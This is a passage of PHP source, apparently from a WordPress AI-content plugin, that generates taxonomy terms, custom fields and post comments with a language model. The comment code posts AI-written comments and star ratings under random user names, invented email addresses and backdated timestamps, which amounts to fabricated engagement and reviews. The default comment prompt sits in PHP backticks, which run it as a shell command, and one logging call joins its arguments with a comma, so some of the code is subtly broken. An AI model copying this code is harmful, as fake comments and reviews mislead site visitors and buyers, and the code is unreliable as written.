                                        if($available_tokens > $max_result_tokens)
                                        {
                                            $available_tokens = $max_result_tokens;
                                        }
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($ai_custom_tax_new);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $ai_custom_tax_new = aiomatic_substr($ai_custom_tax_new, 0, $string_len);
                                            $ai_custom_tax_new = trim($ai_custom_tax_new);
                                            if(empty($ai_custom_tax_new))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_custom_tax_new, true));
                                            }
                                            $query_token_count = count(aiomatic_encode($ai_custom_tax_new));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $cmodel);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $custom_assistant_id . '\\' . $cmodel . ') post custom taxonomy generator, with seed command: ' . $ai_custom_tax_new);
                                        }
                                        $aierror = '';
                                        $extra_tax = '';
                                        $finish_reason = '';
                                        $generated_text = aiomatic_generate_text($token, $cmodel, $ai_custom_tax_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customTaxonomyGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $custom_assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Custom Taxonomy generator error: ' . $aierror);
                                        }
                                        else
                                        {
                                            $extra_tax = ucfirst(trim(nl2br(trim($generated_text))));
                                            $extra_tax = str_replace('//', '', $extra_tax);
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($extra_tax) !== '') 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $cmodel);
                                            aiomatic_log_to_file($api_service . ' responded successfully, custom taxonomy generated for post ID ' . $post->ID . ': ' . $extra_tax);
                                        }
                                        if($extra_tax != '')
                                        {
                                            $extra_taxes = explode(',', $extra_tax);
                                            foreach($extra_taxes as $my_extra_tax)
                                            {
                                                if($added_tax >= $max_custom)
                                                {
                                                    break;
                                                }
                                                $my_extra_tax = trim($my_extra_tax);
                                                $my_extra_tax = strip_tags($my_extra_tax);
                                                $my_extra_tax = preg_replace('#^\d+\.\s*#', '', $my_extra_tax);
                                                if(empty($my_extra_tax))
                                                {
                                                    continue;
                                                }
                                                if (isset($aiomatic_Spinner_Settings['skip_inexist_custom']) && $aiomatic_Spinner_Settings['skip_inexist_custom'] == 'on') 
                                                {
                                                    if(!term_exists($my_extra_tax, $ai_custom_tax_slug))
                                                    {
                                                        aiomatic_log_to_file('Skipping tag, as it is not found on this site: ' . $my_extra_tax);
                                                        continue;
                                                    }
                                                }
                                                $added_tax++;
                                                $termid = aiomatic_create_terms($ai_custom_tax_slug, null, trim($my_extra_tax));
                                                wp_set_post_terms($post->ID, $termid, $ai_custom_tax_slug, true);
                                            }
                                        }
                                    }
                                    if($added_tax > 0)
                                    {
                                        if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                        {
                                            $args = array();
                                            $args['ID'] = $post->ID;
                                            $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                            remove_filter('content_save_pre', 'wp_filter_post_kses');
                                            remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            remove_filter('title_save_pre', 'wp_filter_kses');
                                            update_post_meta($post->ID, $custom_name, "pub");
                                            $post_updated = wp_update_post($args);
                                            add_filter('content_save_pre', 'wp_filter_post_kses');
                                            add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            add_filter('title_save_pre', 'wp_filter_kses');
                                            if (is_wp_error($post_updated)) {
                                                $errors = $post_updated->get_error_messages();
                                                foreach ($errors as $error) {
                                                    aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                                }
                                            }
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated custom taxonomies.');
                                        }
                                    }
                                }
                            }
                            if (isset($aiomatic_Spinner_Settings['ai_custom_field']) && $aiomatic_Spinner_Settings['ai_custom_field'] != '')
                            {
                                $ai_custom_field_arr = preg_split('/\r\n|\r|\n/', trim($aiomatic_Spinner_Settings['ai_custom_field']));
                                $added_field = 0;
                                foreach($ai_custom_field_arr as $ai_custom_field_full)
                                {
                                    $ai_custom_field_full = trim($ai_custom_field_full);
                                    if($ai_custom_field_full == '')
                                    {
                                        continue;
                                    }
                                    if(strstr($ai_custom_field_full, '=>') === false)
                                    {
                                        aiomatic_log_to_file('Invalid custom field creator format sent. Correct format is: custom_field_slug => AI prompt. Sent: ' . $ai_custom_field_full);
                                        continue;
                                    }
                                    $ai_custom_field_parts = explode('=>', $ai_custom_field_full);
                                    $ai_custom_field = trim($ai_custom_field_parts[1]);
                                    $ai_custom_field_slug = trim($ai_custom_field_parts[0]);
                                    if(empty($ai_custom_field))
                                    {
                                        aiomatic_log_to_file('Invalid custom field creator prompt sent. Correct format is: custom_field_slug => AI prompt. Sent: ' . $ai_custom_field_full);
                                        continue;
                                    }
                                    if(empty($ai_custom_field_slug))
                                    {
                                        aiomatic_log_to_file('Invalid custom field creator slug sent. Correct format is: custom_field_slug => AI prompt. Sent: ' . $ai_custom_field_full);
                                        continue;
                                    }
                                    $ai_custom_field = aiomatic_replaceSynergyShortcodes($ai_custom_field);
                                    $post_link        = get_permalink($post->ID);
                                    $blog_title       = html_entity_decode(get_bloginfo('title'));
                                    $author_obj       = get_user_by('id', $post->post_author);
                                    $user_name        = $author_obj->user_nicename;
                                    $featured_image   = '';
                                    wp_suspend_cache_addition(true);
                                    $metas = get_post_custom($post->ID);
                                    wp_suspend_cache_addition(false);
                                    if(is_array($metas))
                                    {
                                        $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                    }
                                    else
                                    {
                                        $rez_meta = array();
                                    }
                                    if(count($rez_meta) > 0)
                                    {
                                        foreach($rez_meta as $rm)
                                        {
                                            if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                            {
                                                $featured_image = $rm[0];
                                                break;
                                            }
                                        }
                                    }
                                    if($featured_image == '')
                                    {
                                        $featured_image = aiomatic_generate_thumbmail($post->ID);
                                    }
                                    if($featured_image == '' && $final_content != '')
                                    {
                                        $dom     = new DOMDocument();
                                        $internalErrors = libxml_use_internal_errors(true);
                                        $dom->loadHTML($final_content);
                                        libxml_use_internal_errors($internalErrors);
                                        $tags      = $dom->getElementsByTagName('img');
                                        foreach ($tags as $tag) {
                                            $temp_get_img = $tag->getAttribute('src');
                                            if ($temp_get_img != '') {
                                                $temp_get_img = strtok($temp_get_img, '?');
                                                $featured_image = rtrim($temp_get_img, '/');
                                            }
                                        }
                                    }
                                    $post_cats = '';
                                    $post_categories = wp_get_post_categories( $post->ID );
                                    foreach($post_categories as $c){
                                        $cat = get_category( $c );
                                        $post_cats .= $cat->name . ',';
                                    }
                                    $post_cats = trim($post_cats, ',');
                                    if($post_cats != '')
                                    {
                                        $post_categories = explode(',', $post_cats);
                                    }
                                    else
                                    {
                                        $post_categories = array();
                                    }
                                    if(count($post_categories) == 0)
                                    {
                                        $terms = get_the_terms( $post->ID, 'product_cat' );
                                        if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                            foreach ( $terms as $term ) {
                                                $post_categories[] = $term->slug;
                                            }
                                            $post_cats = implode(',', $post_categories);
                                        }
                                        
                                    }
                                    foreach($post_categories as $pc)
                                    {
                                        if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                            foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                            {
                                                if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                    {
                                                        aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                    }
                                                    return;
                                                }
                                            }
                                        }
                                    }
                                    $post_tagz = '';
                                    $post_tags = wp_get_post_tags( $post->ID );
                                    foreach($post_tags as $t){
                                        $post_tagz .= $t->name . ',';
                                    }
                                    $post_tagz = trim($post_tagz, ',');
                                    if($post_tagz != '')
                                    {
                                        $post_tags = explode(',', $post_tagz);
                                    }
                                    else
                                    {
                                        $post_tags = array();
                                    }
                                    if(count($post_tags) == 0)
                                    {
                                        $terms = get_the_terms( $post->ID, 'product_tag' );
                                        if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                            foreach ( $terms as $term ) {
                                                $post_tags[] = $term->slug;
                                            }
                                            $post_tagz = implode(',', $post_tags);
                                        }
                                        
                                    }
                                    foreach($post_tags as $pt)
                                    {
                                        if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                            
                                            $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                            foreach($disable_tags as $disabled_tag)
                                            {
                                                if($manual != true && trim($pt) == trim($disabled_tag))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                    {
                                                        aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                    }
                                                    return;
                                                }
                                            }
                                        }
                                    }
                                    $ai_custom_field = replaceAIPostShortcodes($ai_custom_field, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                    $ai_custom_field = trim($ai_custom_field);
                                    if (isset($aiomatic_Spinner_Settings['custom_model']) && $aiomatic_Spinner_Settings['custom_model'] != '') {
                                        $cmodel = $aiomatic_Spinner_Settings['custom_model'];
                                    }
                                    else
                                    {
                                        $cmodel = get_default_model_name($aiomatic_Main_Settings);
                                    }
                                    if (isset($aiomatic_Spinner_Settings['custom_assistant_id']) && $aiomatic_Spinner_Settings['custom_assistant_id'] != '') {
                                        $custom_assistant_id = $aiomatic_Spinner_Settings['custom_assistant_id'];
                                    }
                                    else
                                    {
                                        $custom_assistant_id = '';
                                    }
                                    preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_custom, $mxatches);
                                    if(isset($mxatches[2][0]))
                                    {
                                        $minx = $mxatches[1][0];
                                        $maxx = $mxatches[2][0];
                                        $max_custom = rand(intval($minx), intval($maxx));
                                    }
                                    else
                                    {
                                        $max_custom = intval($max_custom);
                                    }
                                    $author_obj       = get_user_by('id', $post->post_author);
                                    if(isset($author_obj->user_nicename))
                                    {
                                        $xuser_name        = $author_obj->user_nicename;
                                    }
                                    else
                                    {
                                        $xuser_name        = 'Administrator';
                                    }
                                    $xpost_link        = get_permalink($post->ID);
                                    $ai_custom_field_new = $ai_custom_field;
                                    $userid = false;
                                    $date       = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                    $query_token_count = count(aiomatic_encode($ai_custom_field_new));
                                    if($query_token_count > $max_seed_tokens)
                                    {
                                        $ai_custom_field_new = aiomatic_substr($ai_custom_field_new, 0, (0-($max_seed_tokens * 4)));
                                        $query_token_count = count(aiomatic_encode($ai_custom_field_new));
                                    }
                                    $available_tokens = aiomatic_compute_available_tokens($cmodel, $max_tokens, $ai_custom_field_new, $query_token_count);
                                    $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                                    if($available_tokens > $max_result_tokens)
                                    {
                                        $available_tokens = $max_result_tokens;
                                    }
                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                    {
                                        $string_len = strlen($ai_custom_field_new);
                                        $string_len = $string_len / 2;
                                        $string_len = intval(0 - $string_len);
                                        $ai_custom_field_new = aiomatic_substr($ai_custom_field_new, 0, $string_len);
                                        $ai_custom_field_new = trim($ai_custom_field_new);
                                        if(empty($ai_custom_field_new))
                                        {
                                            aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_custom_field_new, true));
                                        }
                                        $query_token_count = count(aiomatic_encode($ai_custom_field_new));
                                        $available_tokens = $max_tokens - $query_token_count;
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                    {
                                        $api_service = aiomatic_get_api_service($token, $cmodel);
                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $custom_assistant_id . '\\' . $cmodel . ') post custom field generator, with seed command: ' . $ai_custom_field_new);
                                    }
                                    $aierror = '';
                                    $extra_field = '';
                                    $finish_reason = '';
                                    $generated_text = aiomatic_generate_text($token, $cmodel, $ai_custom_field_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customFieldGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $custom_assistant_id, $thread_id, '', 'disabled', '', false);
                                    if($generated_text === false)
                                    {
                                        aiomatic_log_to_file('Custom Field generator error: ' . $aierror);
                                    }
                                    else
                                    {
                                        $extra_field = ucfirst(trim(nl2br(trim($generated_text))));
                                        $extra_field = str_replace('//', '', $extra_field);
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($extra_field) !== '') 
                                    {
                                        $api_service = aiomatic_get_api_service($token, $cmodel);
                                        aiomatic_log_to_file($api_service . ' responded successfully, custom field generated for post ID ' . $post->ID . ': ' . $extra_field);
                                    }
                                    if($extra_field != '')
                                    {
                                        $extra_field = trim($extra_field);
                                        if(empty($extra_field))
                                        {
                                            continue;
                                        }
                                        $added_field++;
                                        update_post_meta($post->ID, $ai_custom_field_slug, $extra_field);
                                    }
                                }
                                if($added_field > 0)
                                {
                                    if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                    {
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated custom fields.');
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['add_comments']) && $aiomatic_Spinner_Settings['add_comments'] != '' && $aiomatic_Spinner_Settings['add_comments'] != 'disabled')
                        {
                            if (isset($aiomatic_Spinner_Settings['max_comments']) && $aiomatic_Spinner_Settings['max_comments'] != '')
                            {
                                $max_comments = trim($aiomatic_Spinner_Settings['max_comments']);
                            }
                            else
                            {
                                $max_comments = '1-2';
                            }
                            if($max_comments !== '')
                            {
                                $vision_file = '';
                                if (isset($aiomatic_Spinner_Settings['ai_comments']) && $aiomatic_Spinner_Settings['ai_comments'] != '')
                                {
                                    $ai_comments = $aiomatic_Spinner_Settings['ai_comments'];
                                }
                                else
                                {
                                    $ai_comments = `Write a single comment (don't start a new line) for the post title: %%post_title%%
            Previous comments are:
            %%previous_comments%%
            %%comment_author_name%%:`;
                                }
                                if (isset($aiomatic_Spinner_Settings['prev_comms']) && $aiomatic_Spinner_Settings['prev_comms'] != '')
                                {
                                    $prev_comms = intval($aiomatic_Spinner_Settings['prev_comms']);
                                }
                                else
                                {
                                    $prev_comms = 5;
                                }
                                $ai_comments = aiomatic_replaceSynergyShortcodes($ai_comments);
                                
                                if (isset($aiomatic_Spinner_Settings['ai_vision_com']) && $aiomatic_Spinner_Settings['ai_vision_com'] == 'on')
                                {
                                    $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                    if($avatar !== false)
                                    {
                                        $vision_file = $avatar;
                                    }
                                }
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $ai_comments = replaceAIPostShortcodes($ai_comments, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_comments = trim($ai_comments);
                                if (isset($aiomatic_Spinner_Settings['url_list']) && $aiomatic_Spinner_Settings['url_list'] != '') {
                                    $blog_url_list = preg_split('/\r\n|\r|\n/', trim($aiomatic_Spinner_Settings['url_list']));
                                }
                                else
                                {
                                    $blog_url_list = array('');
                                }
                                if (isset($aiomatic_Spinner_Settings['user_list']) && $aiomatic_Spinner_Settings['user_list'] != '') {
                                    $blog_user_list = preg_split('/\r\n|\r|\n/', trim($aiomatic_Spinner_Settings['user_list']));
                                }
                                else
                                {
                                    $blog_user_list = array('%%random_user%%');
                                }
                                if (isset($aiomatic_Spinner_Settings['email_list']) && $aiomatic_Spinner_Settings['email_list'] != '') {
                                    $blog_email_list = preg_split('/\r\n|\r|\n/', trim($aiomatic_Spinner_Settings['email_list']));
                                }
                                else
                                {
                                    $blog_email_list = array(aiomatic_get_random_word(4, 10) . '@' . aiomatic_get_random_word(4, 8) . '.com');
                                }
                                if (isset($aiomatic_Spinner_Settings['comments_model']) && $aiomatic_Spinner_Settings['comments_model'] != '') {
                                    $cmodel = $aiomatic_Spinner_Settings['comments_model'];
                                }
                                else
                                {
                                    $cmodel = get_default_model_name($aiomatic_Main_Settings);
                                }
                                if (isset($aiomatic_Spinner_Settings['comments_assistant_id']) && $aiomatic_Spinner_Settings['comments_assistant_id'] != '') {
                                    $comments_assistant_id = $aiomatic_Spinner_Settings['comments_assistant_id'];
                                }
                                else
                                {
                                    $comments_assistant_id = '';
                                }
                                preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_comments, $mxatches);
                                if(isset($mxatches[2][0]))
                                {
                                    $minx = $mxatches[1][0];
                                    $maxx = $mxatches[2][0];
                                    $max_comments = rand(intval($minx), intval($maxx));
                                }
                                else
                                {
                                    $max_comments = intval($max_comments);
                                }
                                $author_obj       = get_user_by('id', $post->post_author);
                                if(isset($author_obj->user_nicename))
                                {
                                    $xuser_name        = $author_obj->user_nicename;
                                }
                                else
                                {
                                    $xuser_name        = 'Administrator';
                                }
                                $xpost_link        = get_permalink($post->ID);
                                $comms_add = false;
                                for($i = 0; $i < $max_comments; $i++)
                                {
                                    $star_count = '';
                                    if (isset($aiomatic_Spinner_Settings['star_count']) && $aiomatic_Spinner_Settings['star_count'] != '') 
                                    {
                                        $star_count = $aiomatic_Spinner_Settings['star_count'];
                                    }
                                    if(strstr($star_count, '-') !== false)
                                    {
                                        list($min, $max) = explode('-', $star_count);
                                        if(is_numeric($min) && is_numeric($max) && intval($min) <= intval($max))
                                        {
                                            $min = (int)trim($min);
                                            $max = (int)trim($max);
                                            $star_count = rand($min, $max);
                                        }
                                        else
                                        {
                                            $star_count = '';
                                        }
                                    }
                                    else
                                    {
                                        if(is_numeric($star_count))
                                        {
                                            $star_count = intval($star_count);
                                        }
                                        else
                                        {
                                            $star_count = '';
                                        }
                                    }
                                    $comms_add = true;
                                    $userid = false;
                                    $comm_url   = $blog_url_list[array_rand($blog_url_list)];
                                    $cauthor     = $blog_user_list[array_rand($blog_user_list)];
                                    $cmail     = $blog_email_list[array_rand($blog_email_list)];
                                    if(strstr($cauthor, '%%random_user%%') !== false)
                                    {
                                        $users = get_users( array(
                                            'fields'  => 'ID',
                                            'orderby' => 'rand',
                                            'number'  => 1,
                                        ) );
                                        $userid = $users[0];
                                        $xuser = get_user_by( 'id', $userid );
                                        if($xuser !== false)
                                        {
                                            $cauthor = str_replace('%%random_user%%', $xuser->display_name, $cauthor);
                                        }
                                        else
                                        {
                                            $cauthor = str_replace('%%random_user%%', '', $cauthor);
                                        }
                                    }
                                    else
                                    {
                                        $user = get_user_by('login', $cauthor);
                                        if($user !== false)
                                        {
                                            $userid = $user->ID;
                                        }
                                    }
                                    $cauthor = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $cauthor);
                                    $cauthor = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $cauthor);
                                    $cauthor = str_replace('%%author_name%%', $xuser_name, $cauthor);
                                    $cmail = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $cmail);
                                    $cmail = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $cmail);
                                    $comm_url = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $comm_url);
                                    $comm_url = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $comm_url);
                                    $comm_url = str_replace('%%post_link%%', $xpost_link, $comm_url);
                                    if (isset($aiomatic_Spinner_Settings['max_time']) && $aiomatic_Spinner_Settings['max_time'] != '' && isset($aiomatic_Spinner_Settings['min_time']) && $aiomatic_Spinner_Settings['min_time'] != '') 
                                    {
                                        $t1 = strtotime($aiomatic_Spinner_Settings['min_time']);
                                        $t2 = strtotime($aiomatic_Spinner_Settings['max_time']);
                                        if($t1 != false && $t2 != false)
                                        {
                                            $int = rand($t1, $t2);
                                            $date = date('Y-m-d H:i:s', $int);
                                        }
                                        else
                                        {
                                            $date = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                        }
                                    }
                                    else
                                    {
                                        $date = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                    }
                                    $ai_comments_new = str_replace('%%comment_author_name%%', $cauthor, $ai_comments);
                                    $ai_comments_new = str_replace('%%comment_author_email%%', $cmail, $ai_comments_new);
                                    $ai_comments_new = str_replace('%%comment_author_url%%', $comm_url, $ai_comments_new);
                                    $ai_comments_new = str_replace('%%product_star_rating%%', $star_count, $ai_comments_new);
                                    if(strstr($ai_comments_new, '%%previous_comments%%') !== false)
                                    {
                                        $comments = get_comments(array(
                                            'post_id' => $post->ID,
                                            'number' => $prev_comms,
                                            'orderby' => 'comment_date',
                                            'order' => 'DESC'
                                        ));
                                        $older_comms = '';
                                        foreach($comments as $comment) {
                                            $older_comms .= $comment->comment_author . ': ' . $comment->comment_content . '\r\n';
                                        }
                                        $ai_comments_new = str_replace('%%previous_comments%%', $older_comms, $ai_comments_new);
                                    }
                                    $query_token_count = count(aiomatic_encode($ai_comments_new));
                                    if($query_token_count > $max_seed_tokens)
                                    {
                                        $ai_comments_new = aiomatic_substr($ai_comments_new, 0, (0-($max_seed_tokens * 4)));
                                        $query_token_count = count(aiomatic_encode($ai_comments_new));
                                    }
                                    $available_tokens = aiomatic_compute_available_tokens($cmodel, $max_tokens, $ai_comments_new, $query_token_count);
                                    $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                                    if($available_tokens > $max_result_tokens)
                                    {
                                        $available_tokens = $max_result_tokens;
                                    }
                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                    {
                                        $string_len = strlen($ai_comments_new);
                                        $string_len = $string_len / 2;
                                        $string_len = intval(0 - $string_len);
                                        $ai_comments_new = aiomatic_substr($ai_comments_new, 0, $string_len);
                                        $ai_comments_new = trim($ai_comments_new);
                                        if(empty($ai_comments_new))
                                        {
                                            aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_comments_new, true));
                                        }
                                        $query_token_count = count(aiomatic_encode($ai_comments_new));
                                        $available_tokens = $max_tokens - $query_token_count;
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                    {
                                        $api_service = aiomatic_get_api_service($token, $cmodel);
                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $comments_assistant_id , '/' . $cmodel . ') post comment generator, with seed command: ' . $ai_comments_new);
                                    }
                                    $aierror = '';
                                    $comm = '';
                                    $finish_reason = '';
                                    $generated_text = aiomatic_generate_text($token, $cmodel, $ai_comments_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'commentGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $comments_assistant_id, $thread_id, '', 'disabled', '', true);
                                    if($generated_text === false)
                                    {
                                        aiomatic_log_to_file('Comment generator error: ' . $aierror);
                                    }
                                    else
                                    {
                                        $comm = ucfirst(trim(nl2br(trim($generated_text))));
                                        $comm = str_replace('//', '', $comm);
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($comm) !== '') 
                                    {
                                        $api_service = aiomatic_get_api_service($token, $cmodel);
                                        aiomatic_log_to_file($api_service . ' responded successfully, comment generated for post ID: ' . $post->ID);
                                    }
                                    if($userid === false)
                                    {
                                        $users = get_users( array(
                                            'fields'  => 'ID',
                                            'orderby' => 'rand',
                                            'number'  => 1,
                                        ) );
                                        $userid = $users[0];
                                    }
                                    if (trim($comm) != '') {
                                        $data = array(
                                            'comment_post_ID' => $post->ID,
                                            'comment_author' => $cauthor,
                                            'comment_author_email' => $cmail,
                                            'comment_author_url' => $comm_url,
                                            'comment_content' => $comm,
                                            'comment_type' => '',
                                            'comment_parent' => 0,
                                            'user_id' => $userid,
                                            'comment_author_IP' => '127.0.0.1',
                                            'comment_agent' => '',
                                            'comment_date' => $date
                                        );
